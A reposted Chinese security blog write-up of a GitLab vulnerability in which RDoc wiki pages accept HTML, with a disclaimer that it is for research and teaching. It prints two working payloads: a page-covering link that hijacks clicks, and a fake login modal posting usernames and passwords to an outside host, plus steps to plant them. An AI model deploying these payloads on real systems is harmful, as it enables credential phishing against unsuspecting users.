gitlab漏洞系列-RDoc wiki页面中的存储型XSS

admin 2022年6月13日11:13:18评论70 views字数 1512阅读5分2秒阅读模式


  • 背景

  • 复现步骤


gitlab漏洞系列-RDoc wiki页面中的存储型XSS

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景

当创建一个RDoc wiki页面时,可以使用大量的html标签和属性,这些标签和属性通常是经过过滤的,当创建一个可链接的图片格式为{<img src>}

例如,可以在创建图像链接时指定一个class属性:

{
<a href='https://aw.rs/users/signin' class='atwho-view select2-drop-mask pika-select'>
<img height=10000 width=10000></a>
}[a]

将产生以下内容:

<div class="md md-file">
<p>Full Page link</p>
<p><a href="a" rel="nofollow"></a><a href="https://aw.rs/users/signin" class="atwho-view select2-drop-mask pika-select" rel="nofollow"><img height="10000" width="10000"></a></p>
</div>

这将放置一个链接接管整个页面并拦截任何点击,atwhot -view select2-drop-mask pika-select只是一些真正的类属性(class), 使链接的z-index值最大(注意:这个是css的知识,主要是使其处于最顶层)

目标属性也可以设置为_blank,由于没有rel="noopener",也可以使用反向选项卡。

另一种更可能奏效的攻击是在模式中创建一个表单,它可以用来提交用户名和密码:

a form
{
<div class="modal show d-block">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h3 class="page-title">Please Log In</h3>
</div>
<div class="modal-body">
<form class="new-wiki-page" action="http://aw.rs/">
<div class="form-group">
<label for="username"><span>Username</span></label>
<input type="text" name="username" id="username" class="form-control">
<label for="password"><span>Password</span></label>
<input type="password" name="password" id="password" class="form-control">
</div>
<div class="form-actions"><button name="button" type="submit" class="btn btn-success">Login</button></div>
</form>
</div>
</div>
</div>
</div>
}[/]

当查看页面时将产生以下效果:

gitlab漏洞系列-RDoc wiki页面中的存储型XSS

复现步骤

1.在gitlab上面创建一个wiki;

2.使用上述代码片段添加一个新的RDoc页面;

3.保存并等待有人点击它


原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-RDoc wiki页面中的存储型XSS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月13日11:13:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   gitlab漏洞系列-RDoc wiki页面中的存储型XSShttp://cn-sec.com/archives/1111668.html

发表评论

匿名网友 填写信息